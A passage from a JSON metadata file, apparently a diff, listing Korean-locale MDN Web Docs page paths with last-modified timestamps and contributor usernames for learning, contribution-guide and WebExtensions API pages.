"Learn/Getting_started_with_the_web": { + "modified": "2020-07-16T22:33:54.184Z", + "contributors": [ + "jinseobhong", + "scl2589", + "imn00133", + "alattalatta", + "dolmoon", + "galcyurio", + "gobyoungil", + "cs09g", + "chrisdavidmills" + ] + }, + "Learn/Getting_started_with_the_web/CSS_기본": { + "modified": "2020-07-16T22:35:01.206Z", + "contributors": [ + "java2020007", + "Silvermist", + "manmyung", + "jinah1000", + "dolmoon", + "limkukhyun", + "galcyurio", + "gobyoungil", + "stitchworkingonthecode", + "cs09g" + ] + }, + "Learn/Getting_started_with_the_web/HTML_기본": { + "modified": "2020-07-16T22:34:48.769Z", + "contributors": [ + "scl2589", + "hahehohoo", + "moseoridev", + "alattalatta", + "dolmoon", + "limkukhyun", + "galcyurio", + "gobyoungil", + "LovelyGom1218", + "stitchworkingonthecode", + "cs09g" + ] + }, + "Learn/Getting_started_with_the_web/JavaScript_basics": { + "modified": "2020-07-16T22:35:12.767Z", + "contributors": [ + "Silvermist", + "yeonjukim", + "dejoro", + "moseoridev", + "Parcovia", + "dolmoon", + "galcyurio", + "Vincent_Choe", + "cs09g", + "stephenjang" + ] + }, + "Learn/Getting_started_with_the_web/What_will_your_website_look_like": { + "modified": "2020-10-09T04:14:23.540Z", + "contributors": [ + "anoncaco", + "alattalatta", + "YJLeeGinter", + "galcyurio", + "kygn1998", + "cs09g" + ] + }, + "Learn/Getting_started_with_the_web/기본_소프트웨어_설치하기": { + "modified": "2020-07-16T22:34:08.936Z", + "contributors": [ + "thornbirda", + "alattalatta", + "dolmoon", + "limkukhyun", + "takeU", + "galcyurio", + "stitchworkingonthecode", + "cs09g" + ] + }, + "Learn/Getting_started_with_the_web/웹사이트_출판하기": { + "modified": "2020-07-16T22:34:27.246Z", + "contributors": [ + "Taehoon", + "limkukhyun", + "galcyurio", + "novelview9", + "cs09g" + ] + }, + "Learn/Getting_started_with_the_web/웹의_동작_방식": { + "modified": "2020-07-16T22:34:01.419Z", + "contributors": [ + "doong-jo", + "moseoridev", + "HoLlOlLoLlU", + "limkukhyun", + "LeeJunyeol", + "galcyurio", + "cs09g" + ] + }, + "Learn/Getting_started_with_the_web/파일들_다루기": { + "modified": "2020-10-09T05:21:10.101Z", + "contributors": [ + "anoncaco", + "moseoridev", + "alattalatta", + "cs09g", + "dolmoon", + "limkukhyun", + "YJLeeGinter", + "galcyurio", + "BK-Yoo" + ] + }, + "Learn/HTML": { + "modified": "2020-07-16T22:22:20.486Z", + "contributors": [ + "naduhy2", + "cs09g" + ] + }, + "Learn/HTML/Forms": { + "modified": "2020-07-16T22:20:59.522Z", + "contributors": [ + "ssj24", + "chrisdavidmills", + "moolow", + "JeongSeongDae" + ] + }, + "Learn/HTML/Forms/HTML_폼_구성_방법": { + "modified": "2020-09-29T02:01:00.293Z", + "contributors": [ + "fscholz", + "sephiron99", + "chrisdavidmills", + "JeongSeongDae" + ] + }, + "Learn/HTML/Forms/Sending_and_retrieving_form_data": { + "modified": "2020-07-16T22:21:27.567Z", + "contributors": [ + "tldn0718", + "dev-dongwon", + "daesD", + "chrisdavidmills", + "Geun-Hyung_Kim", + "JeongSeongDae" + ] + }, + "Learn/HTML/Forms/Your_first_HTML_form": { + "modified": "2020-07-16T22:21:05.991Z", + "contributors": [ + "fscholz", + "sephiron99", + "chrisdavidmills", + "JeongSeongDae" + ] + }, + "Learn/HTML/Howto": { + "modified": "2020-07-16T22:22:29.667Z", + "contributors": [ + "Jeremie" + ] + }, + "Learn/HTML/Howto/Mark_abbreviations_and_make_them_understandable": { + "modified": "2020-07-16T22:22:37.951Z", + "contributors": [ + "Kaben" + ] + }, + "Learn/HTML/Howto/데이터_속성_사용하기": { + "modified": "2020-07-16T22:22:36.382Z", + "contributors": [ + "DDark", + "jyhwng", + "soulmatt" + ] + }, + "Learn/HTML/Introduction_to_HTML": { + "modified": "2020-07-16T22:22:50.673Z", + "contributors": [ + "alattalatta", + "naduhy2", + "knight2995" + ] + }, + "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting": { + "modified": "2020-11-18T02:41:42.097Z", + "contributors": [ + "sh0seo", + "Atercatus", + "dave1502", + "iloveek" + ] + }, + "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks": { + "modified": "2020-07-16T22:23:45.260Z", + "contributors": [ + "Xvezda", + "sangheon-kim", + "Tay_Kim", + "alattalatta", + "zDJKIMs", + "Han_jongbae" + ] + }, + "Learn/HTML/Introduction_to_HTML/Debugging_HTML": { + "modified": "2020-11-18T21:39:06.803Z", + "contributors": [ + "sh0seo", + "dave1502", + "limkukhyun" + ] + }, + "Learn/HTML/Introduction_to_HTML/Document_and_website_structure": { + "modified": "2020-11-26T04:07:26.362Z", + "contributors": [ + "ihooi", + "Tay_Kim", + "dave1502", + "SSJ-unclear", + "LeeJunyeol" + ] + }, + "Learn/HTML/Introduction_to_HTML/Getting_started": { + "modified": "2020-08-03T15:06:21.620Z", + "contributors": [ + "180ukinnver", + "jinseobhong", + "LYJ", + "nancydocode", + "xmlnsBuzz", + "Ken123777", + "cheesecat47", + "HoLlOlLoLlU", + "NohSeho", + "sooup2", + "gyukebox", + "wonca", + "rote-IL", + "Sasin", + "takeU", + "ChanghwaLee" + ] + }, + "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals": { + "modified": "2020-11-17T06:40:49.069Z", + "contributors": [ + "sh0seo", + "everinh", + "YEIN", + "kimjangwook", + "Sufera", + "sangheon-kim", + "Tay_Kim", + "YJLeeGinter" + ] + }, + "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter": { + "modified": "2020-09-19T02:00:02.258Z", + "contributors": [ + "pangol", + "jinseobhong", + "nancydocode" + ] + }, + "Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML": { + "modified": "2020-07-16T22:23:21.652Z", + "contributors": [ + "anseonghyeon", + "minijaypark", + "0641031", + "NohSeho", + "SSJ-unclear", + "iloveek" + ] + }, + "Learn/HTML/Multimedia_and_embedding": { + "modified": "2020-07-16T22:24:27.199Z", + "contributors": [ + "enfroze", + "dave1502", + "genzuby", + "chrisdavidmills" + ] + }, + "Learn/HTML/Multimedia_and_embedding/Images_in_HTML": { + "modified": "2020-09-03T02:51:53.456Z", + "contributors": [ + "junnapark", + "curious-curie", + "limkukhyun" + ] + }, + "Learn/HTML/Multimedia_and_embedding/Responsive_images": { + "modified": "2020-07-23T05:47:19.984Z", + "contributors": [ + "bhlbest20", + "paikwiki", + "mytory" + ] + }, + "Learn/HTML/Multimedia_and_embedding/ideo_and_audio_content": { + "modified": "2020-07-16T22:24:54.813Z", + "contributors": [ + "jinseobhong" + ] + }, + "Learn/HTML/Tables": { + "modified": "2020-07-16T22:25:13.523Z", + "contributors": [ + "byoung_hyun" + ] + }, + "Learn/How_to_contribute": { + "modified": "2020-07-16T22:33:45.510Z", + "contributors": [ + "SphinxKnight", + "2oosoo", + "JinSeungHo" + ] + }, + "Learn/Index": { + "modified": "2020-07-16T22:33:40.026Z", + "contributors": [ + "alattalatta" + ] + }, + "Learn/Infrastructure": { + "modified": "2020-07-16T22:22:13.682Z", + "contributors": [ + "KwanHong_Lee66" + ] + }, + "Learn/JavaScript": { + "modified": "2020-12-01T10:05:39.249Z", + "contributors": [ + "parkjihye", + "honggaruy", + "galcyurio", + "cs09g" + ] + }, + "Learn/JavaScript/Asynchronous": { + "modified": "2020-07-16T22:33:14.189Z", + "contributors": [ + "Sheppy" + ] + }, + "Learn/JavaScript/Asynchronous/Async_await": { + "modified": "2020-11-28T09:53:12.946Z", + "contributors": [ + "HerbertLim", + "chupark" + ] + }, + "Learn/JavaScript/Asynchronous/Concepts": { + "modified": "2020-11-17T21:41:39.368Z", + "contributors": [ + "mochapoke", + "Plut0", + "chupark", + "eunjungleecub" + ] + }, + "Learn/JavaScript/Asynchronous/Introducing": { + "modified": "2020-11-17T21:53:14.519Z", + "contributors": [ + "mochapoke", + "chupark" + ] + }, + "Learn/JavaScript/Asynchronous/Promises": { + "modified": "2020-11-23T02:04:50.435Z", + "contributors": [ + "varvir", + "chupark" + ] + }, + "Learn/JavaScript/Asynchronous/Timeouts_and_intervals": { + "modified": "2020-07-16T22:33:21.049Z", + "contributors": [ + "cjkcc69" + ] + }, + "Learn/JavaScript/Building_blocks": { + "modified": "2020-07-16T22:31:09.649Z", + "contributors": [ + "ojongchul", + "harry-cong", + "limkukhyun" + ] + }, + "Learn/JavaScript/Building_blocks/Build_your_own_function": { + "modified": "2020-11-12T19:32:09.012Z", + "contributors": [ + "Sufera", + "chupark" + ] + }, + "Learn/JavaScript/Building_blocks/Functions": { + "modified": "2020-11-03T11:28:18.463Z", + "contributors": [ + "mochapoke", + "unfolz", + "geudae", + "chupark", + "jivasangcript", + "heejink", + "jokh0108", + "JeonghoonChoi" + ] + }, + "Learn/JavaScript/Building_blocks/Looping_code": { + "modified": "2020-07-18T08:25:59.049Z", + "contributors": [ + "cluelin", + "Nerd-Bear", + "Choco0914", + "SphinxKnight" + ] + }, + "Learn/JavaScript/Building_blocks/조건문": { + "modified": "2020-08-19T22:28:52.853Z", + "contributors": [ + "ramgabi", + "ojongchul", + "JaeWorld", + "notypicalus", + "Jonnie-Lion", + "gsphyo91" + ] + }, + "Learn/JavaScript/Client-side_web_APIs": { + "modified": "2020-07-16T22:32:40.572Z", + "contributors": [ + "limkukhyun" + ] + }, + "Learn/JavaScript/Client-side_web_APIs/Client-side_storage": { + "modified": "2020-11-25T10:48:03.033Z", + "contributors": [ + "KeisLuv", + "Shiwoo-Park" + ] + }, + "Learn/JavaScript/First_steps": { + "modified": "2020-07-16T22:29:52.931Z", + "contributors": [ + "hahehohoo", + "deltakor1234", + "officialmansu", + "alattalatta", + "peacekimjapan", + "sudokiz", + "osori", + "kidkkr", + "galcyurio", + "ChanghwaLee" + ] + }, + "Learn/JavaScript/First_steps/A_first_splash": { + "modified": "2020-07-16T22:30:19.219Z", + "contributors": [ + "hyeonjun_jo", + "theun0524", + "dejoro", + "jennybehan", + "SSJ-unclear", + "LoverKei", + "thkimmiridih", + "ChanghwaLee" + ] + }, + "Learn/JavaScript/First_steps/Arrays": { + "modified": "2020-07-16T22:30:56.272Z", + "contributors": [ + "chupark", + "EvanKim", + "heedaelee", + "limkukhyun", + "SSJ-unclear" + ] + }, + "Learn/JavaScript/First_steps/Math": { + "modified": "2020-11-28T11:49:29.100Z", + "contributors": [ + "randi65535", + "sshplendid", + "daesD" + ] + }, + "Learn/JavaScript/First_steps/Silly_story_generator": { + "modified": "2020-08-21T05:13:22.652Z", + "contributors": [ + "zero0yes", + "chupark", + "Jonnie-Lion" + ] + }, + "Learn/JavaScript/First_steps/Strings": { + "modified": "2020-07-16T22:30:40.608Z", + "contributors": [ + "jivasangcript", + "deltakor1234", + "wisedog", + "limkukhyun", + "SSJ-unclear" + ] + }, + "Learn/JavaScript/First_steps/Useful_string_methods": { + "modified": "2020-09-01T23:43:42.532Z", + "contributors": [ + "junnapark", + "jivasangcript", + "EvanKim", + "hnuh", + "deltakor1234", + "miyunim", + "limong", + "daesD", + "DrOhjho", + "ChanghwaLee" + ] + }, + "Learn/JavaScript/First_steps/Variables": { + "modified": "2020-07-16T22:30:01.156Z", + "contributors": [ + "sangheon-kim", + "yeonjukim", + "miyeunlee", + "LoverKei", + "DrOhjho", + "ChanghwaLee" + ] + }, + "Learn/JavaScript/First_steps/What_is_JavaScript": { + "modified": "2020-07-16T22:30:10.331Z", + "contributors": [ + "parkchoongho", + "presentY1897", + "developer-do", + "alattalatta", + "henry_hwang", + "minjihee89", + "yujinkim", + "khg0712", + "pustinia", + "wisedog", + "2kindsofcs", + "LoverKei", + "seungha-kim", + "ChanghwaLee" + ] + }, + "Learn/JavaScript/First_steps/What_went_wrong": { + "modified": "2020-07-16T22:30:35.085Z", + "contributors": [ + "search5", + "kode15333", + "minjihee89", + "eungbean", + "ullalassong", + "LoverKei", + "hjs6877", + "jswisher", + "ChanghwaLee" + ] + }, + "Learn/JavaScript/Howto": { + "modified": "2020-07-16T22:33:10.275Z", + "contributors": [ + "guyeol" + ] + }, + "Learn/JavaScript/Objects": { + "modified": "2020-07-16T22:31:51.471Z", + "contributors": [ + "cs09g", + "hyunkwon_88_cho", + "Parcovia", + "beowolf9", + "dsma73", + "Yoonjoo" + ] + }, + "Learn/JavaScript/Objects/Basics": { + "modified": "2020-07-16T22:32:00.687Z", + "contributors": [ + "youngdeok", + "cs09g", + "Parcovia", + "beowolf9", + "dsma73" + ] + }, + "Learn/JavaScript/Objects/Inheritance": { + "modified": "2020-07-16T22:32:15.138Z", + "contributors": [ + "youngdeok", + "quddnr153", + "beowolf9", + "ahnzaz" + ] + }, + "Learn/JavaScript/Objects/JSON": { + "modified": "2020-08-11T02:41:01.905Z", + "contributors": [ + "june0419", + "main2039", + "unfolz", + "bjnhur", + "JaeWorld", + "ahnzaz" + ] + }, + "Learn/JavaScript/Objects/Object-oriented_JS": { + "modified": "2020-07-16T22:32:06.697Z", + "contributors": [ + "alattalatta", + "beowolf9", + "lunarlit", + "dsma73" + ] + }, + "Learn/JavaScript/Objects/Object_prototypes": { + "modified": "2020-07-16T22:32:21.572Z", + "contributors": [ + "beowolf9", + "chungheepark", + "ahnzaz" + ] + }, + "Learn/Server-side": { + "modified": "2020-07-16T22:35:59.813Z", + "contributors": [ + "alattalatta", + "ssilb4", + "chrisdavidmills" + ] + }, + "Learn/Server-side/Django": { + "modified": "2020-07-16T22:36:34.026Z", + "contributors": [ + "eunjungleecub", + "seokhoonhong", + "byoung_hyun", + "ChanghwaLee" + ] + }, + "Learn/Server-side/Django/Admin_site": { + "modified": "2020-07-16T22:37:04.223Z", + "contributors": [ + "honeybees", + "catedt", + "KSYong", + "SYCHOI" + ] + }, + "Learn/Server-side/Django/Authentication": { + "modified": "2020-08-14T13:01:24.756Z", + "contributors": [ + "peterkim", + "proost", + "dorage", + "PeterKim1967", + "SYCHOI" + ] + }, + "Learn/Server-side/Django/Deployment": { + "modified": "2020-07-16T22:37:41.948Z", + "contributors": [ + "honggaruy" + ] + }, + "Learn/Server-side/Django/Forms": { + "modified": "2020-07-16T22:37:32.573Z", + "contributors": [ + "leemmh14", + "hecaiont", + "lunar96", + "honggaruy" + ] + }, + "Learn/Server-side/Django/Generic_views": { + "modified": "2020-07-16T22:37:17.289Z", + "contributors": [ + "proost", + "yongtaekjun", + "Seonghui", + "KSYong", + "SYCHOI" + ] + }, + "Learn/Server-side/Django/Home_page": { + "modified": "2020-07-16T22:37:09.780Z", + "contributors": [ + "KSYong", + "SYCHOI" + ] + }, + "Learn/Server-side/Django/Introduction": { + "modified": "2020-07-16T22:36:40.248Z", + "contributors": [ + "myanjini", + "NealLab", + "shineYi", + "skim0726", + "JeonghoonChoi", + "KSYong", + "gaonK", + "dinobei", + "teddyc", + "honggaruy", + "LeeJunyeol", + "RyuGeunYeol", + "seokhoonhong", + "ChanghwaLee" + ] + }, + "Learn/Server-side/Django/Models": { + "modified": "2020-07-16T22:36:58.942Z", + "contributors": [ + "myanjini", + "TKcard", + "catedt", + "KSYong", + "SYCHOI" + ] + }, + "Learn/Server-side/Django/Sessions": { + "modified": "2020-07-16T22:37:27.249Z", + "contributors": [ + "proost", + "yongtaekjun", + "PeterKim1967", + "SYCHOI" + ] + }, + "Learn/Server-side/Django/Testing": { + "modified": "2020-10-07T12:14:45.041Z", + "contributors": [ + "khyunji", + "didguscjf95", + "zxzl", + "PeterKim1967", + "honggaruy", + "SYCHOI" + ] + }, + "Learn/Server-side/Django/Tutorial_local_library_website": { + "modified": "2020-07-16T22:36:49.935Z", + "contributors": [ + "myanjini", + "ChangYoonJai", + "honggaruy", + "Jonnie-Lion" + ] + }, + "Learn/Server-side/Django/development_environment": { + "modified": "2020-07-16T22:36:45.947Z", + "contributors": [ + "myanjini", + "honggaruy", + "KSYong", + "SYCHOI", + "kyueunQ", + "JieunKim" + ] + }, + "Learn/Server-side/Django/skeleton_website": { + "modified": "2020-07-16T22:36:53.604Z", + "contributors": [ + "myanjini", + "dryben", + "yongtaekjun", + "KSYong", + "ChangYoonJai", + "SYCHOI" + ] + }, + "Learn/Server-side/Django/web_application_security": { + "modified": "2020-10-09T00:35:51.288Z", + "contributors": [ + "cozyClassic", + "eunjungleecub" + ] + }, + "Learn/Server-side/Express_Nodejs": { + "modified": "2020-07-16T22:37:53.538Z", + "contributors": [ + "iyabong", + "sshplendid", + "jjwkdl", + "ChanghwaLee" + ] + }, + "Learn/Server-side/Express_Nodejs/Introduction": { + "modified": "2020-08-30T23:57:41.028Z", + "contributors": [ + "Sunmin0520", + "Kyungminkim31", + "iyabong", + "Je-Gwan", + "peacekimjapan", + "silmari", + "2dubbing", + "Ken123777", + "ByeongGi", + "ChanghwaLee" + ] + }, + "Learn/Server-side/Express_Nodejs/mongoose": { + "modified": "2020-07-16T22:38:21.935Z", + "contributors": [ + "SuminNoh", + "LeeJunyeol" + ] + }, + "Learn/Server-side/Express_Nodejs/routes": { + "modified": "2020-07-16T22:38:26.931Z", + "contributors": [ + "iwanttoeatsogogiverymuch", + "ByeongGi" + ] + }, + "Learn/Server-side/Express_Nodejs/개발_환경": { + "modified": "2020-07-16T22:37:59.245Z", + "contributors": [ + "DDark" + ] + }, + "Learn/Server-side/Express_Nodejs/스켈레톤_웹사이트": { + "modified": "2020-07-16T22:38:05.117Z", + "contributors": [ + "SYCHOI" + ] + }, + "Learn/Server-side/First_steps": { + "modified": "2020-07-16T22:36:09.855Z", + "contributors": [ + "Je-Gwan", + "bcc829", + "DongleLeaf", + "ljt94" + ] + }, + "Learn/Server-side/First_steps/Client-Server_overview": { + "modified": "2020-07-16T22:36:20.747Z", + "contributors": [ + "varvir", + "bcc829" + ] + }, + "Learn/Server-side/First_steps/Introduction": { + "modified": "2020-07-16T22:36:15.405Z", + "contributors": [ + "galcyurio", + "bcc829" + ] + }, + "Learn/Server-side/First_steps/Web_frameworks": { + "modified": "2020-07-16T22:36:25.153Z", + "contributors": [ + "proost", + "shotbyshot", + "bcc829", + "Je-Gwan", + "hongroba" + ] + }, + "Learn/Server-side/First_steps/Website_security": { + "modified": "2020-07-16T22:36:28.967Z", + "contributors": [ + "hrahn", + "wafersroom" + ] + }, + "Learn/Skills": { + "modified": "2020-07-16T22:22:13.258Z", + "contributors": [ + "Netaras", + "KwanHong_Lee66" + ] + }, + "Learn/Tools_and_testing": { + "modified": "2020-07-16T22:38:56.112Z", + "contributors": [ + "Epikem" + ] + }, + "Learn/Tools_and_testing/Client-side_JavaScript_frameworks": { + "modified": "2020-10-25T02:13:43.260Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component": { + "modified": "2020-11-29T06:58:47.196Z", + "contributors": [ + "imtherealk" + ] + }, + "Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started": { + "modified": "2020-11-22T21:30:23.419Z", + "contributors": [ + "imtherealk" + ] + }, + "Learn/Tools_and_testing/GitHub": { + "modified": "2020-09-02T01:34:47.238Z", + "contributors": [ + "junnapark", + "chrisdavidmills", + "04SeoHyun" + ] + }, + "Learn/Web_기술": { + "modified": "2020-07-16T22:22:13.488Z", + "contributors": [ + "zziuni", + "Netaras", + "teoli", + "cs09g" + ] + }, + "Learn/접근성": { + "modified": "2020-07-16T22:39:58.455Z", + "contributors": [ + "cs09g", + "seunghun" + ] + }, + "Learn/접근성/HTML": { + "modified": "2020-07-16T22:40:12.947Z", + "contributors": [ + "dev-dongwon" + ] + }, + "Learn/접근성/What_is_accessibility": { + "modified": "2020-07-16T22:40:05.805Z", + "contributors": [ + "seunghun" + ] + }, + "Learn/접근성/모바일": { + "modified": "2020-07-16T22:40:31.872Z", + "contributors": [ + "seunghun" + ] + }, + "Localization": { + "modified": "2019-03-23T23:49:35.627Z", + "contributors": [ + "teoli", + "Netaras", + "Unixcruiser", + "Gilchris" + ] + }, + "MDN": { + "modified": "2019-09-10T15:43:01.288Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "zziuni", + "Jeremie", + "nacyot", + "hoony", + "devleoper", + "jswisher" + ] + }, + "MDN/About": { + "modified": "2019-09-10T08:53:31.700Z", + "contributors": [ + "SphinxKnight", + "alattalatta", + "wbamberg", + "zziuni", + "jswisher", + "LimeClover", + "empol", + "leosangwon" + ] + }, + "MDN/About/MDN_services": { + "modified": "2020-12-05T03:06:45.428Z", + "contributors": [ + "movegun1027" + ] + }, + "MDN/Community": { + "modified": "2020-03-03T01:53:44.470Z", + "contributors": [ + "SphinxKnight", + "alattalatta", + "wbamberg", + "gaucho1218", + "zziuni", + "unixforever", + "woojin.jo", + "cs09g" + ] + }, + "MDN/Community/Conversations": { + "modified": "2020-02-05T05:27:57.215Z", + "contributors": [ + "SphinxKnight", + "alattalatta", + "wbamberg", + "jswisher", + "woojin.jo" + ] + }, + "MDN/Community/Roles": { + "modified": "2020-02-05T05:27:56.868Z", + "contributors": [ + "SphinxKnight", + "alattalatta", + "wbamberg", + "Sheppy" + ] + }, + "MDN/Community/Roles/Admins": { + "modified": "2020-02-05T05:27:57.100Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "woojin.jo" + ] + }, + "MDN/Community/Roles/Localization_driver_role": { + "modified": "2020-02-05T05:27:56.977Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "woojin.jo" + ] + }, + "MDN/Community/Working_in_community": { + "modified": "2020-09-01T05:37:50.669Z", + "contributors": [ + "junnapark" + ] + }, + "MDN/Contribute": { + "modified": "2019-01-16T19:13:18.509Z", + "contributors": [ + "wbamberg", + "zziuni", + "hoony", + "Junny", + "Sheppy" + ] + }, + "MDN/Contribute/Creating_and_editing_pages": { + "modified": "2019-03-23T23:13:39.002Z", + "contributors": [ + "wbamberg", + "kkokey", + "zziuni", + "naduhy2", + "nodejs", + "AlwaysOnce", + "KwanHong_Lee66" + ] + }, + "MDN/Contribute/Does_this_belong": { + "modified": "2019-01-16T19:22:53.277Z", + "contributors": [ + "wbamberg", + "zziuni", + "yssuh", + "leosangwon" + ] + }, + "MDN/Contribute/Feedback": { + "modified": "2020-09-30T17:51:50.022Z", + "contributors": [ + "chrisdavidmills", + "SphinxKnight", + "wbamberg", + "zziuni", + "jswisher", + "LimeClover" + ] + }, + "MDN/Contribute/Getting_started": { + "modified": "2020-11-09T03:14:41.161Z", + "contributors": [ + "SphinxKnight", + "aldjsu.ascii", + "chrisdavidmills", + "khg0712", + "alattalatta", + "lukibum", + "wbamberg", + "ahnzaz", + "zziuni", + "cs09g", + "Kaben", + "Rohn", + "Junbong", + "leosangwon", + "KwanHong_Lee66", + "loslch" + ] + }, + "MDN/Contribute/Howto": { + "modified": "2019-01-16T19:13:26.954Z", + "contributors": [ + "wbamberg", + "zziuni", + "Netaras", + "Junbong", + "KwanHong_Lee66", + "Sheppy" + ] + }, + "MDN/Contribute/Howto/Do_a_technical_review": { + "modified": "2019-01-16T19:23:36.745Z", + "contributors": [ + "wbamberg", + "KwanHong_Lee66" + ] + }, + "MDN/Contribute/Howto/Do_an_editorial_review": { + "modified": "2019-03-23T22:50:43.806Z", + "contributors": [ + "wbamberg", + "Saru", + "peacekimjapan", + "sominlee", + "novelview9", + "woojin.jo", + "Epikem", + "misol" + ] + }, + "MDN/Contribute/Howto/MDN_계정_생성하기": { + "modified": "2019-01-16T19:16:28.756Z", + "contributors": [ + "wbamberg", + "chiyodad", + "Junbong", + "KwanHong_Lee66" + ] + }, + "MDN/Contribute/Howto/Report_a_problem": { + "modified": "2020-01-07T12:20:00.841Z", + "contributors": [ + "peterbe", + "wbamberg", + "LimeClover" + ] + }, + "MDN/Contribute/Howto/Set_the_summary_for_a_page": { + "modified": "2019-03-23T23:14:13.204Z", + "contributors": [ + "zziuni", + "wbamberg", + "KwanHong_Lee66" + ] + }, + "MDN/Contribute/Howto/Tag": { + "modified": "2019-03-18T20:41:26.193Z", + "contributors": [ + "alattalatta", + "wbamberg", + "minwook-shin", + "plzfday" + ] + }, + "MDN/Contribute/Howto/Tag_JavaScript_pages": { + "modified": "2019-01-17T00:11:42.268Z", + "contributors": [ + "wbamberg", + "woojin.jo" + ] + }, + "MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web": { + "modified": "2020-02-28T22:23:49.633Z", + "contributors": [ + "wbamberg", + "Saru", + "2oosoo" + ] + }, + "MDN/Contribute/Howto/살아있는_코드_샘플로_변환하기": { + "modified": "2019-01-16T19:48:52.048Z", + "contributors": [ + "wbamberg", + "Junbong" + ] + }, + "MDN/Contribute/Processes": { + "modified": "2019-01-17T02:54:48.050Z", + "contributors": [ + "wbamberg", + "zziuni" + ] + }, + "MDN/Editor": { + "modified": "2020-09-30T15:42:29.661Z", + "contributors": [ + "chrisdavidmills", + "ehgus", + "wbamberg", + "zziuni", + "821065887131", + "sominlee", + "Netaras", + "Kaben", + "misol" + ] + }, + "MDN/Editor/Links": { + "modified": "2020-09-30T15:42:30.015Z", + "contributors": [ + "chrisdavidmills", + "honggaruy" + ] + }, + "MDN/Guidelines": { + "modified": "2020-09-30T15:30:34.264Z", + "contributors": [ + "chrisdavidmills", + "wbamberg", + "zziuni", + "Netaras", + "Sheppy" + ] + }, + "MDN/Guidelines/Best_practices": { + "modified": "2020-09-30T15:30:34.436Z", + "contributors": [ + "chrisdavidmills", + "wbamberg", + "Netaras" + ] + }, + "MDN/Guidelines/Code_guidelines": { + "modified": "2020-09-30T15:30:34.683Z", + "contributors": [ + "chrisdavidmills" + ] + }, + "MDN/Guidelines/Code_guidelines/CSS": { + "modified": "2020-09-30T15:30:35.142Z", + "contributors": [ + "chrisdavidmills", + "java2020007" + ] + }, + "MDN/Guidelines/Code_guidelines/Code_guidelines": { + "modified": "2020-09-30T15:30:35.323Z", + "contributors": [ + "chrisdavidmills", + "honggaruy" + ] + }, + "MDN/Guidelines/Style_guide": { + "modified": "2020-09-30T15:30:35.279Z", + "contributors": [ + "chrisdavidmills", + "honggaruy", + "jswisher", + "alattalatta", + "wbamberg", + "sominlee", + "naduhy2", + "dale0713", + "epicsaga" + ] + }, + "MDN/Kuma": { + "modified": "2019-09-06T03:29:26.311Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "zziuni" + ] + }, + "MDN/Structures": { + "modified": "2020-09-30T12:56:35.534Z", + "contributors": [ + "chrisdavidmills", + "zziuni", + "wbamberg", + "Netaras", + "hoony" + ] + }, + "MDN/Structures/API_references": { + "modified": "2020-09-30T12:56:35.705Z", + "contributors": [ + "chrisdavidmills", + "zziuni" + ] + }, + "MDN/Structures/API_references/API_reference_sidebars": { + "modified": "2020-09-30T12:56:35.846Z", + "contributors": [ + "chrisdavidmills", + "zziuni" + ] + }, + "MDN/Structures/Compatibility_tables": { + "modified": "2020-10-15T22:03:04.448Z", + "contributors": [ + "chrisdavidmills", + "wbamberg", + "Kuiprux", + "kewlbear" + ] + }, + "MDN/Structures/Macros": { + "modified": "2020-09-30T12:56:35.761Z", + "contributors": [ + "chrisdavidmills", + "wbamberg", + "Netaras" + ] + }, + "MDN/Structures/Macros/Commonly-used_macros": { + "modified": "2020-09-30T12:56:36.084Z", + "contributors": [ + "chrisdavidmills", + "wbamberg", + "teoli", + "fscholz", + "Netaras" + ] + }, + "MDN/Tools": { + "modified": "2020-09-30T16:51:24.922Z", + "contributors": [ + "chrisdavidmills", + "wbamberg", + "zziuni", + "frankradio", + "galcyurio", + "Vi01et", + "jswisher" + ] + }, + "MDN/Tools/KumaScript": { + "modified": "2020-11-30T12:49:14.835Z", + "contributors": [ + "chrisdavidmills", + "mfuji09" + ] + }, + "MDN/Tools/KumaScript/Troubleshooting": { + "modified": "2020-09-30T16:51:25.656Z", + "contributors": [ + "chrisdavidmills", + "Silvermist" + ] + }, + "MDN/Tools/페이지_재생성": { + "modified": "2020-09-30T16:51:25.059Z", + "contributors": [ + "chrisdavidmills", + "wbamberg", + "Netaras" + ] + }, + "MDN/User_guide": { + "modified": "2019-01-16T20:50:22.654Z", + "contributors": [ + "wbamberg", + "andrewJYjang" + ] + }, + "MDN_at_ten": { + "modified": "2019-03-23T22:41:30.825Z", + "contributors": [ + "LimeClover", + "jefflee0127" + ] + }, + "Mozilla": { + "modified": "2019-03-23T23:35:24.435Z", + "contributors": [ + "zziuni", + "ethertank" + ] + }, + "Mozilla/Add-ons": { + "modified": "2020-02-05T05:41:49.868Z", + "contributors": [ + "SphinxKnight", + "paperbox", + "goldragoon", + "Vi01et", + "LimeClover", + "pineoc", + "hanulnun", + "hoony", + "JHKinkorea" + ] + }, + "Mozilla/Add-ons/WebExtensions": { + "modified": "2020-02-05T05:41:52.464Z", + "contributors": [ + "SphinxKnight", + "sylee0424", + "kkame", + "821065887131", + "junthus", + "jwhitlock", + "wbamberg" + ] + }, + "Mozilla/Add-ons/WebExtensions/API": { + "modified": "2020-02-05T05:41:53.526Z", + "contributors": [ + "SphinxKnight", + "wbamberg" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/browsingData": { + "modified": "2020-10-15T21:53:38.747Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "hoony" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/contentScripts": { + "modified": "2020-10-15T22:14:47.389Z", + "contributors": [ + "SphinxKnight", + "grizlupo" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/contextMenus": { + "modified": "2020-10-15T21:53:39.975Z", + "contributors": [ + "SphinxKnight", + "grizlupo", + "wbamberg", + "hoony" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/contextMenus/ContextType": { + "modified": "2020-10-15T22:14:46.556Z", + "contributors": [ + "SphinxKnight", + "grizlupo" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/contextMenus/create": { + "modified": 